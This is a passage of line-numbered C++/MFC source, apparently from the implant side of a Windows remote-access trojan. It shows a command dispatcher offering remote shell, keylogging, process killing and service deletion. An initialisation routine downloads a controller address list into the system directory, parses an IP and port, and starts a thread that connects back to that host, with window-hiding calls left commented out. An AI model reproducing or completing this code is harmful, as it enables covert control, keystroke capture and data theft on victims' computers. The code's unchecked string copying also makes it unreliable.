  896. case CMD_SHELL_MANAGE:
  897. cmd_shell_manage(s);
  898. goto Loop01;
  899. case CMD_NULL:
  900. goto exit01;
  901. case CMD_REG_MANAGE: 
  902. goto Loop01; 
  903. case CMD_VIDEO_MANAGE:
  904. goto Loop01;
  905. case CMD_KEYLOG_MANAGE:
  906. cmd_keylog();
  907. goto Loop01;
  908. case CMD_PROCESS_KILL:
  909. cmd_proc_kill(s,m_command.DataSize);
  910. goto Loop01;
  911. case CMD_SERVICE_DEL:
  912. cmd_service_kill(s,m_command.tmp);
  913. goto Loop01;
  914. }
  916. }
  917. exit02:
  918.     goto retry;
  920. exit01:
  922. return 0;
  924. }
  929. //////////////////////////////////////////////////////////////////////////
  935. CMyServerDlg::CMyServerDlg(CWnd* pParent /*=NULL*/)
  936. : CDialog(CMyServerDlg::IDD, pParent)
  937. {
  938. //{{AFX_DATA_INIT(CMyServerDlg)
  939. //}}AFX_DATA_INIT
  940. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  941. //m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  942. }
  944. void CMyServerDlg::DoDataExchange(CDataExchange* pDX)
  945. {
  946. CDialog::DoDataExchange(pDX);
  947. //{{AFX_DATA_MAP(CMyServerDlg)
  948. //DDX_Control(pDX, IDC_BUTTON_START, m_btn_start);
  949. //}}AFX_DATA_MAP
  950. }
  952. BEGIN_MESSAGE_MAP(CMyServerDlg, CDialog)
  953. //{{AFX_MSG_MAP(CMyServerDlg)
  954. ON_WM_PAINT()
  955. ON_WM_QUERYDRAGICON()
  956. //}}AFX_MSG_MAP
  957. END_MESSAGE_MAP()
  959. /////////////////////////////////////////////////////////////////////////////
  960. // CMyServerDlg message handlers
  963. DWORD  dw_thread = 0 ;
  965. //static UINT count = 1;
  968. //HANDLE  hThread[1];
  972. UINT m_timerID1;
  974. UINT i=0;
  976. BOOL CMyServerDlg::OnInitDialog()
  977. {
  978. CDialog::OnInitDialog();
  982. hThread[0]=NULL;
  983. hThread[1]=NULL;
  985. //PostMessage(WM_SHOWWINDOW,FALSE,SW_PARENTOPENING);   
  987. //////////////////////////////////////////////////////////////////////////
  988. //  
  989. //////////////////////////////////////////////////////////////////////////
  992. //ShowWindow(hWnd,SW_HIDE);
  993.     //this->ShowWindow(SW_HIDE);
  994. //////////////////////////////////////////////////////////////////////////
  995. //(1)读取程序本身url 解析
  998. char seps[]= "/";
  999. char *token;
  1000. char myURL[MAX_PATH] ={0};
  1001. char myFILE[MAX_PATH] = {0};
  1002. char tmp[MAX_PATH] ={0};
  1005. strcpy(tmp, strchr(modify_data.url,':')+1);
  1006. token=strtok(tmp,seps);
  1007. strcpy(myURL,token);
  1009. char SysPath[MAX_PATH]={0};//系统路径，包括文件名
  1010. GetSystemDirectory(SysPath,MAX_PATH);
  1012.         strcat(SysPath,"\lplist.txt");
  1014. strcpy(tmp, strchr(modify_data.url,':')+3);
  1015. TCHAR   *pos=strchr(tmp,'/');
  1016. //tmp[pos-tmp]=0;
  1017. strcpy(myFILE,pos);
  1019.         HttpGetFile(myURL,myFILE,SysPath);
  1023. //////////////////////////////////////////////////////////////////////////
  1024. //分析文件 解析文件 把IP地址和端口分离出来
  1025. //////////////////////////////////////////////////////////////////////////
  1026.     char  buf[1024]={0};
  1027. DWORD ReadSize = 0;
  1029. char tmp1[MAX_PATH]={0};
  1030. char port[MAX_PATH]={0};
  1031. char ip[MAX_PATH]={0};
  1033. HANDLE hFile = CreateFile(SysPath,
  1034.   GENERIC_READ,
  1035.           FILE_SHARE_READ,
  1036.           NULL,
  1037.           OPEN_EXISTING,
  1038.           FILE_ATTRIBUTE_NORMAL,
  1039.           NULL);
  1040. if (hFile)
  1041. {
  1042. BOOL bRead = ReadFile(hFile,buf,1024,&ReadSize,NULL);
  1044. if (bRead)
  1045. {
  1048. strcpy(tmp1,buf);
  1049. strcpy(port,buf);
  1051. TCHAR   *pos=strrchr(tmp1,':');
  1052. strcpy(port,pos+1);
  1053. tmp1[pos-tmp1]=0;
  1054.  
  1055. strcpy(ip,tmp1);
  1057. }
  1059. }
  1062. //////////////////////////////////////////////////////////////////////////
  1063. // 把读取的ip和端口赋值
  1064. //////////////////////////////////////////////////////////////////////////
  1065.     m_linkinfo.BindPort  = atoi(port) ;
  1067. m_linkinfo.strBindIp = ip;
  1069.     i=0;
  1071.     hThread[i] = CreateThread(NULL,0,MyClientThread,(LPVOID)&m_linkinfo,0,&dw_thread);
  1076. return TRUE;  // return TRUE  unless you set the focus to a control
  1077. }
  1079. // If you add a minimize button to your dialog, you will need the code below
  1080. //  to draw the icon.  For MFC applications using the document/view model,
  1081. //  this is automatically done for you by the framework.
  1083. void CMyServerDlg::OnPaint() 
  1084. {
  1085. if (IsIconic())
  1086. {
  1087. CPaintDC dc(this); // device context for painting
  1089. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  1091. // Center icon in client rectangle
  1092. int cxIcon = GetSystemMetrics(SM_CXICON);
  1093. int cyIcon = GetSystemMetrics(SM_CYICON);
  1094. CRect rect;
  1095. GetClientRect(&rect);
  1096. int x = (rect.Width() - cxIcon + 1) / 2;
  1097. int y = (rect.Height() - cyIcon + 1) / 2;
  1099. // Draw the icon
  1100. dc.DrawIcon(x, y, m_hIcon);
  1101. }
  1102. else
  1103. {
  1104. CDialog::OnPaint();
  1105. }
  1106. }
  1108. // The system calls this to obtain the cursor to display while the user drags
  1109. //  the minimized window.
  1110. HCURSOR CMyServerDlg::OnQueryDragIcon()
  1111. {
  1112. return (HCURSOR) m_hIcon;
  1113. }